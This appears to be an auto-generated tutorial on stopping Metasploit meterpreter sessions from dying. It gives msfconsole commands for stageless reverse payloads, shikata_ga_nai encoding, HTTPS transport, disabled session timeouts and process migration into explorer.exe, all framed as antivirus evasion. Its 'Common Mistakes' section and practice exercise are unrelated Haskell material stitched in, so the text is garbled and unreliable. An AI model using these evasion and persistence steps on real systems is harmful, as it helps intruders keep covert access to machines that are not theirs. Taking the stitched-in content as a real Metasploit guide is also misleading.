How to Fix Metasploit Session Killed

In this tutorial, you'll learn about How to Fix Metasploit Session Killed. We cover key concepts, practical examples, and best practices.

Your Metasploit meterpreter session opens but immediately dies with "[!] Session X is dead." Antivirus, network issues, or unstable payload stages cause premature termination.

The Wrong Way

# Re-running the exploit with the same settings
exploit -j
# Session opens and dies again instantly

Without changing the payload or configuration, the same failure repeats.

The Right Way

Step 1: Check the session death reason

# After the session dies:
msf6 > sessions -v -1
# Shows: Reason: "AVG Antivirus detected and terminated payload"

Step 2: Use stageless payloads to evade AV

# Stageless payload includes the full meterpreter stage:
set payload windows/x64/meterpreter_reverse_tcp
# vs staged (which sends a small stager first):
set payload windows/x64/meterpreter/reverse_tcp

# Stageless is larger but more stable

Step 3: Apply payload encoding/encryption

# Use x64/shikata_ga_nai encoder:
set ENCODER x64/shikata_ga_nai
# Or use HTTPS payload for encrypted transport:
set payload windows/x64/meterpreter_reverse_https

Step 4: Check handler stability

# Sometimes the handler exits after first session
# Use -j (job) to keep it running:
exploit -j -z

# -j: run as a background job
# -z: do not interact with the session immediately

Meterpreter session 3 established and stable — 5 minutes uptime, sysinfo command works, AV bypassed.

Prevention

• Always test payloads against the target's antivirus in a lab before deployment.
• Use stageless payloads for better reliability in production assessments.
• The AV evasion techniques used here are foundational to Durga Antivirus Pro's own detection research — knowing how payloads hide helps build better defenses.

Common Mistakes with session killed

1. Using return to exit a function early instead of wrapping a pure value in the monad
2. Mixing let bindings with <- bindings in do notation, producing type errors
3. Overlapping type class instances that cause GHC to reject the program with ambiguous dispatch errors

These mistakes appear frequently in real-world METASPLOIT code. DodaTech's contributors have identified these patterns through analysis of open-source projects and production systems.

Practice Exercise

Write a pure function that safely divides two integers using Maybe, then test it with edge cases like division by zero and negative numbers.

This exercise reinforces the concepts covered in this guide. Try implementing it before checking online solutions.

FAQ

set SessionExpirationTimeout 0  # never expire
set SessionCommunicationTimeout 0  # never timeout

meterpreter > migrate -N explorer.exe